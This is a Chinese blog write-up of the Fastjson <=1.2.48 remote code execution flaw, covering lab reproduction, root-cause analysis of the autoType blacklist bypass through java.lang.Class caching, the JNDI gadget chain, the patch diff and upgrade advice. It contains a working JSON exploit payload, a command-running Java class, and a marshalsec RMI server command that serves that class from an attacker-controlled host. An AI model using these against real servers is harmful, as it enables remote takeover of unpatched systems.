一个炫酷的小码农!

Fastjson<=1.2.48远程代码执行漏洞分析

Posted on By yaof

一、漏洞描述

  • 漏洞简介:fastjson是alibaba开源的一款高性能功能完善的JSON库,在2017年4月18日的时候官方自己爆出了一个安全漏洞,https://github.com/alibaba/fastjson/wiki/security_update_20170315,影响范围 1.2.24以及之前版本。随着逐步修复,1.2.42-45之间都出现过绕过。而最近爆出的更是通杀默认配置1.2.48版本以下。
  • 漏洞编号:CNNVD-201907-699
  • 影响版本:fastjson<1.2.51
  • 漏洞等级:高危

二、漏洞复现

2.1 漏洞靶场搭建

​ 根据特定fastjson版本编写相关测试demo,这里我通过网上下载了一个,放到本地,启服务。

fastjson

2.2 漏洞复现

  1. 在浏览器访问相关地址:http://localhost:8080/

  2. 在浏览器上配置代理,进行数据包拦截

    fastjson

  3. 重新转发数据包,将请求方法GET修改为POST,将content-type修改为application/json向其POST新的JSON对象,后端会利用fastjson进行解析。

    fastjson

  4. 首先编译并上传命令执行代码,如http://XXXX/TouchFile.class

    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;
       
    public class TouchFile {
        static {
            try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"calc"};
                Process pc = rt.exec(commands);
                pc.waitFor();
            } catch (Exception e) {
                // do nothing
            }
        }
    }
    
  5. 然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://XXXXXX/#TouchFile" 9999
    
  6. 向靶场服务器发送恶意payload

    {
        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://XXXXX:9999/Exploit",
            "autoCommit":true
        }
    }
    

    fastjson

  7. 点击提交请求,成功执行命令,弹出计算器

    fastjson

三、漏洞原理分析

​ Fastjson远程代码执行漏洞主要是因为fastjson在处理以@type形式传入的类的时候,会默认调用该类的共有set\get\is函数,因此我们在寻找利用类的时候思路如下:

  1. 类的成员变量我们可以控制;
  2. 想办法在调用类的某个set\get\is函数的时候造成命令执行。

​ 于是便找到了JdbcRowSetImpl类,该类在setAutoCommit函数中会对成员变量dataSourceName进行lookup,标准的jndi(Java Naming and Directory Interface)注入利用

注:JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

jndi注入整个利用流程如下:

  1. 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
  2. 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;
  3. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
  4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
  5. 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

​ 此次漏洞利用的核心点是java.lang.class这个java的基础类,在fastjson 1.2.48以前的版本没有做该类做任何限制,加上代码的一些逻辑缺陷,造成黑名单以及autotype的绕过。

3.1 漏洞分析

​ Fastjson在开始解析json前会优先加载配置,在加载配置时会调用TypeUtils的addBaseClassMappings和loadClass方法将一些经常会用到的基础类和三方库存放到一个ConcurrentMap对象mappings中,类似于缓存机制。

fastjson

​ 配置加载完成后正式开始解析json数据,在ParserConfig.checkAutoType方法中对’@type’对应的value进行处理。

fastjson

此处判断如果含有 @type 标记,就把 value 作为类来加载。

fastjson

断点进入checkAutoType函数进行检测,在调用解析函数时我们没有传入预期的反序列化对象的对应类名时,fastjson则通过从mappings中或者deserializers.findClass()方法来获取反序列化对象的对应类。

fastjson

跟进findClass,我们可以看到java.lang.class该类恰好存在于deserializers对象的buckets属性中

fastjson

找到对应类后便返回,不再经过黑名单和autotype的检查流程。

接着获取到java.lang.class对应的反序列化处理类MiscCodec:

fastjson

在MiscCodec类中,java.lang.class拥有加载任意类到mappings中的功能。首先从输入的json串中解析获取val对应的键值:

fastjson

fastjson

获取后调用前面提到的TypeUtils. loadClass()方法对该键值进行类加载操作:

fastjson

在TypeUtils. loadClass()中,我们就可以看到当cache参数为true时,将键值对应的类名放到了mappings中后返回:

fastjson

继续解析第二个json键值对。此时我们利用’@type’传入早已在黑名单中的com.sun.rowset.JdbcRowSetImpl类尝试jdni注入利用:

fastjson

可以看到fastjson直接从mappings中获取到了该类,并在做有效判断后,直接返回了:

fastjson

黑名单以及autotype开关的检查是在上面那处return之后的,所以也就变相的绕过了黑名单以及autotype开关的检查。

fastjson

调用JdbcRowSetImpl类,在setAutoCommit()会调用connect()函数中会对成员变量dataSourceName进行lookup,成功利用jndi注入。

fastjson

所以最终的漏洞利用其实是分为两个步骤,第一步利用java.lang.class加载黑名单类到mappings中,第二步直接从mappings中取出黑名单类完成漏洞利用。

整个利用链:

Exec:620,Runtime //命令执行
Lookup:417,InitalContext /jndi lookup函数通过rmi或者ldap获取恶意类
setAutoCommit:4067,JdbcRowSetImpl 通过setAutoCommit从而在后面触发了lookup函数
setValue:96,FieldDeserializer //反射调用传入类的set函数
deserialze:600, JavaBeanDeserializer 通过循环调用传入类的共有set,get,is函数
parseObject:368,DefaultJSONParser 解析传入的json字符串

3.2 修复代码diff

查看fastjson 1.2.48代码发布的补丁:diff

  1. 对黑名单类进行了更新

    fastjson

    通过github上大佬们fuzz出来的fastjson黑名单类中成功找到添加的两个类:8409640769019589119(java.lang.Class)、1459860845934817624(java.net.InetAddress)

  2. MiscCodec.java文件对cache缓存设置成false

    fastjson

  3. ParserConfig.java文件对checkAutoType()进行了相关策略调整

    fastjson

四、修复建议

请及时升级到1.2.48及以上版本